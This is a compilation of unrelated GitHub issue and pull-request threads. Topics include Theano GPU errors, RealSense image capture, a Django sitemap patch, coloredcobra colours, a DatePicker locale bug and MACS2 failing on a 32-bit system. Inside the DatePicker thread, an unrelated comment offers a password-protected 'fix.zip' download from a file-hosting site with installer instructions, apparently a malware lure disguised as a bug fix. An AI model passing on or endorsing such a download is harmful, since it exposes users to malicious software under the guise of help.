[x] Run bundle exec rake default. It executes all tests and RuboCop for itself, and generates the documentation.

Great fixing! Thank you!


Compiling the test function for more than 3 days

I use Cuda8 and theano0.9. So the device=cuda0. And comment out the deprecated "sandbox.cuda".
The main.py is able to run but runs for more than 3 days now.
It's possible that GPU is not involved.
How to enable GPU?

Install the latest libgpuarrray + pygpu + theano 1.0.0 + cuda8.0+cudnn7 in GTX1080 card.
Driver version 384.
Are those versions of software compatible?
Any recommendation setup?
The signature is that
File "/home/yunxingzhu/Downloads/bigdata/3D-R2N2/py3/lib/python3.5/site-packages/theano/gpuarray/init.py", line 110, in init_dev
context.cudnn_handle = dnn._make_handle(context)
File "/home/yunxingzhu/Downloads/bigdata/3D-R2N2/py3/lib/python3.5/site-packages/theano/gpuarray/dnn.py", line 130, in _make_handle
"This can be a sign of a too old driver.", err)
RuntimeError: ('Error creating cudnn handle. This can be a sign of a too old driver.', 4)

same problem. Have you solved your problem?


How to capture image and save it to disk by RSID F450?

How to capture image and save it to disk by RSID F450?

You can save the image in the preview callback.
https://github.com/IntelRealSense/RealSenseID/blob/master/samples/cpp/preview.cc#L14

Do you have the source code in C# language?
Thanks!

Sure.
https://github.com/IntelRealSense/RealSenseID/blob/master/tools/rsid-viewer/MainWindow.xaml.cs#L1162


Internal error on startup

After giving permission to access storage after selecting a setup language, this pops up then force closes the app, then whenever I open the app again this always pops up again before force closing the app again. I'm on android 11.

Fixed with 2.0.7


Added lastmod support to sitemaps.views.index

Allowed sitemap_index.xml to supply lastmod values for each sitemap.

buildbot, add to whitelist.

Please take a look at our patch review checklist. From a quick glance, at least a mention in the release notes and a versionadded annotation are missing. Thanks!

Done.
On Sunday, 13 December 2015, Tim Graham<EMAIL_ADDRESS>wrote:

Please take a look at our patch review checklist
https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/submitting-patches/#patch-review-checklist.
From a quick glance, at least a mention in the release notes and a
versionadded annotation are missing. Thanks!
—
Reply to this email directly or view it on GitHub
https://github.com/django/django/pull/5814#issuecomment-164159494.

Please rebase your branch and squash commits when updating. Also, please uncheck "Patch needs improvement" on the ticket so that it returns to the review queue.

Closing due to inactivity. Please send a new PR if you return to it.


GH-34191: [C++] Ensure using the same ProtoBuf in bundled ORC

Rationale for this change
We can't detect correct ProtoBuf related values to pass bundled ORC with the current approach.
What changes are included in this PR?
This change uses generator expression to get CONFIG depended value correctly.
Are these changes tested?
Yes.
Are there any user-facing changes?
No.

Closes: #34191

@github-actions crossbow submit -g cpp -g r -g wheel

@github-actions crossbow submit -g wheel

@github-actions crossbow submit -g wheel

+1


hyphenated flags break color scheme

i found coloredcobra within the first week of its presence on github, serendipitously.
its now used in skycoin/skywire develop and im very satisfied with its impact on the help menus.
While i was implementing it, I noticed that the color scheme breaks at the hyphen for any flags which contain a hyphen (i.e. --hyphen-flag) with the text returning to white at the hyphen until the end of the flag text.
I neglected to file an issue on this when i encountered it, and instead i just removed the hyphenation of the flags to avoid breaking the color scheme.
Also, there seems to be no way to change the color of the variable type the flag takes, or the color for the default value of the flag,  if it is displayed.
i further worked around that by not initially setting a default value for certain flags, and showing the default as part of the help text where possible. There were other functional reasons for doing this so it wasnt all an asthetic consideration.
Some screenshots of the help menus, in case you are interested

This one shows what i was talking about with the default value

coloredcobra is a fantastic addition to any cobra help menu, and i highly recommend it.

While i was implementing it, I noticed that the color scheme breaks at the hyphen for any flags which contain a hyphen (i.e. --hyphen-flag) with the text returning to white at the hyphen until the end of the flag text.

Hmm... It's very strange because I don't see any breaks of color scheme.
What version do you use? Because this bug was in 1.0.0. And already fixed in 1.0.1 :)

Also, there seems to be no way to change the color of the variable type the flag takes, or the color for the default value of the flag, if it is displayed.

I have no problems with color of the variable type in v1.0.1.
cc.Init(&cc.Config{
		RootCmd:       rootCmd,
		Headings:      cc.HiCyan + cc.Bold + cc.Underline,
		Commands:      cc.HiYellow + cc.Bold,
		Aliases:       cc.Bold + cc.Italic,
		CmdShortDescr: cc.HiRed,
		Example:       cc.Italic,
		ExecName:      cc.Bold,
		Flags:         cc.Bold,
		FlagsDescr:    cc.HiRed,
		FlagsDataType: cc.Italic + cc.HiBlue,
	})

Result is:

Try: FlagsDataType: cc.Italic + cc.HiBlue,

Please look in go.mod. What version of coloredcobra?


Object reference not set to an instance of an object. within

at Files.Filesystem.ItemViewModel1.<AddFile>d__36.MoveNext() + 0x7ca --- End of stack trace from previous location where exception was thrown ---    at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() + 0x21    at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task) + 0x70    at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task) + 0x38    at System.Runtime.CompilerServices.TaskAwaiter.ValidateEnd(Task) + 0x17    at System.Runtime.CompilerServices.TaskAwaiter.GetResult() + 0xb    at Files.Filesystem.ItemViewModel1.d__33.MoveNext() + 0x129c
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() + 0x21
at System.Runtime.CompilerServices.AsyncMethodBuilderCore.<>c.b__7_0(Object) + 0x1e
at System.Action`1.Invoke(T) + 0x28
at System.Threading.WinRTSynchronizationContext.Invoker.InvokeCore() + 0x33

What were you trying to do when this error was displayed?

Since there's no response for a week, I'll close this. Please open a new bug if you can provide more info.


Data pickers show random dateformats

Describe the bug
We are trying to use the DatePicker and DateRangePicker but we struggling to let them consistently
For some users they get the format mm/dd/yyyy instead of dd/mm/yyyy
Wrong format

Correct format

Also the component uses random separator in different browsers on my own machine
Chrome

Brave

We have tried setting the locale to en-GB for the entire react application
<I18nProvider locale="en-GB">
...
</I18nProvider>

Steps to reproduce the bug

Expected behavior
A consistent date format across users and browsers to avoid confusion on what the date since showing the date 02/06/2025  as 06/02/2025 can have big consequences if the the users misunderstands the date
There should also be an ability to set the format manually, at least the separator. E.g dd.mm.yyyy instead of dd/mm/yyyy
Specifications

Version:
Browser:
OS:

Additional context
Add any other context or screenshots about the bug. An example in CodeSandbox is very helpful

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

I created a ticket with the react-aria folks a while back and was hoping they would be able to provide a proper fix for it, where they default to the system locale rather than the browser locale. They were hesitant to change it, since that would be a breaking change.
I'll look into simplifying setting the locale so it can be passed with a prop.
Re. the separators, I'm not sure I would commit to a change there, since those are locale-determined, but I'll see if there is anything we can do. Hopefully it would be a good enough fix to ensure the locale was more.. streamlined.🤞

BTW. Instead of relying the react-arias I18nProvider context, couldn't you just extend the EdsProvider context with an additional locale prop which is used by the date components?

@jarlef We agreed to skip EdsProvider as an option, as it will be deprecated sometime in the future.
The way I have implemented it now is to use a priority of direct prop <Datepicker locale="..." />, then the value from I18nProvider (if it differs from the fallback value from react-aria), and lastly default to the system value via Intl.DateFormat().resolvedOptions.locale, which is more correct than the react-aria default


C api

Implements #25
Add bindings for:

Parser:

nzslParserParseSource
nzslParserParseSourceWithFilePath
nzslParserParseFromFile

Module:

nzslModuleDestroy

GlslWriter

nzslGlslWriterCreate
nzslGlslWriterSetEnv
nzslGlslWriterGenerate
nzslGlslWriterOutputGetExplicitTextureBinding
nzslGlslWriterOutputGetExplicitUniformBlockBinding
nzslGlslWriterOutputDestroy
nzslGlslWriterDestroy

SpirvWriter

nzslSpirvWriterCreate
nzslSpirvWriterSetEnv
nzslSpirvWriterGenerate
nzslSpirvWriterOutputDestroy
nzslSpirvWriterDestroy

LangWriter

nzslLangWriterCreate
nzslLangWriterGenerate
nzslLangWriterOutputDestroy
nzslLangWriterDestroy

Errors are reported by returning null pointers or 0
Last error on the current thread can be accessed using nzslGetError()

To do:

have a C mode for NazaraUtils/Prerequisites.hpp to remove redundant defines in Config.h


Python int too large to convert to C long

Hi, all,
Just ran MACS2 (<IP_ADDRESS>60309) using -f BAM and got this error:
WARNING @ Thu, 18 Aug 2016 17:07:57: #2 Since the d (85) calculated from paired-peaks are smaller than 2*tag length, it may be influenced by unknown sequencing problem!
WARNING @ Thu, 18 Aug 2016 17:07:57: #2 You may need to consider one of the other alternative d(s): 85,488,546
WARNING @ Thu, 18 Aug 2016 17:07:57: #2 You can restart the process with --nomodel --extsize XXX with your choice or an arbitrary number. Nontheless, MACS will continute computing.
INFO  @ Thu, 18 Aug 2016 17:07:57: #3 Call peaks...
Traceback (most recent call last):
File "/home/junxi/.local/bin/macs2", line 617, in
main()
File "/home/junxi/.local/bin/macs2", line 57, in main
run( args )
File "/home/junxi/.local/lib/python2.7/site-packages/MACS2/callpeak_cmd.py", line 264, in run
peakdetect.call_peaks()
File "MACS2/PeakDetect.pyx", line 105, in MACS2.PeakDetect.PeakDetect.call_peaks (MACS2/PeakDetect.c:1632)
File "MACS2/PeakDetect.pyx", line 157, in MACS2.PeakDetect.PeakDetect.__call_peaks_w_control (MACS2/PeakDetect.c:1942)
OverflowError: Python int too large to convert to C long
Have you any thoughts? Thanks!
PS: the version of python is 2.7.12.

Hi Junxi,
I saw such errors reported several times, such as #67, #102, and #106. It seems it is related to C and the operating system. Could you share me the information about the version of your C library and OS?
Best,
Tao

Hi Tao,
my OS is ubuntu 16.04.1 LTS.
But I'm not sure the version of  my C library. I've tried to run the
commend: ldd --version and get the following message:
ldd (Ubuntu GLIBC 2.23-0ubuntu3) 2.23
Otherwise I've also tried the commend: apt-cache show libc6, then the
message is :
Package: libc6
Priority: required
Section: libs
Installed-Size: 9584
Maintainer: Ubuntu Developers<EMAIL_ADDRESS>Original-Maintainer: GNU Libc Maintainers<EMAIL_ADDRESS>Architecture: i386
Source: glibc
Version: 2.23-0ubuntu3
Replaces: libc6-i386, libc6-xen
Provides: libc6-i686, libc6-xen
Depends: libgcc1
Suggests: glibc-doc, debconf | debconf-2.0, locales
Conflicts: libc6-xen
Breaks: hurd (<< 1:0.5.git20140203-1), libtirpc1 (<< 0.2.3), locales (<<
2.23), locales-all (<< 2.23), nscd (<< 2.23)
Filename: pool/main/g/glibc/libc6_2.23-0ubuntu3_i386.deb
Size: 2269702
MD5sum: a45c39d770bc63cdffcc137151ef6cc7
SHA1: c93a132c90c044bfa57c9dc02fdc4acd9ce7055f
SHA256: 38200f93d7ed961421eada598e8e96a6428cc1a22c4b7a7a2242a9b240c7c1a0
Description-en: GNU C Library: Shared libraries
Contains the standard libraries that are used by nearly all programs on
the system. This package includes shared versions of the standard C library
and the standard math library, as well as many others.
Description-md5: fc3001b0b90a1c8e6690b283a619d57f
Multi-Arch: same
Homepage: http://www.gnu.org/software/libc/libc.html
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu
Supported: 5y
Task: minimal
I hope it'll be useful to you.
Kind regards.
Junxi
2016-08-18 22:10 GMT+02:00 Tao Liu (τν<EMAIL_ADDRESS>
Hi Junxi,
I saw such errors reported several times, such as #67
https://github.com/taoliu/MACS/issues/67, #102
https://github.com/taoliu/MACS/issues/102, and #106
https://github.com/taoliu/MACS/issues/106. It seems it is related to C
and the operating system. Could you share me the information about the
version of your C library and OS?
Best,
Tao
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/taoliu/MACS/issues/142#issuecomment-240841398, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AUIPV02Fli14WKvp5kekpvjDGybEbpXIks5qhLwtgaJpZM4JnnK7
.

Hi Junxi,
I noticed that the 'architecture' is i386 which means the library is for 32bit system. This might be the main reason why it said 'Python int too large'.  I recommend you re-install MACS2 in a 64bit system and try again.  As for Ubuntu, it means the 'amd64' version.
Best,
Tao

Hi Tao,
You're right. I've reinstalled MACS2 in the 64bit system. Now everything is
in order.
If it's possible, please tell the other Ubuntu-users that MACS2 is just for
64 bit system. Thank you very much.
Kind regards,
Junxi
2016-08-19 18:14 GMT+02:00 Tao Liu (τν<EMAIL_ADDRESS>
Hi Junxi,
I noticed that the 'architecture' is i386 which means the library is for
32bit system. This might be the main reason why it said 'Python int too
large'. I recommend you re-install MACS2 in a 64bit system and try again.
As for Ubuntu, it means the 'amd64' version.
Best,
Tao
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/taoliu/MACS/issues/142#issuecomment-241062348, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AUIPV2MhfVxLHbFXR1_U4so1tPrHM6jfks5qhdZPgaJpZM4JnnK7
.


⚠ Bofrost.lu has degraded performance

In ebcde78, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 2461 ms

Resolved: Bofrost.lu performance has improved in befd85e after 1 hour, 1 minute.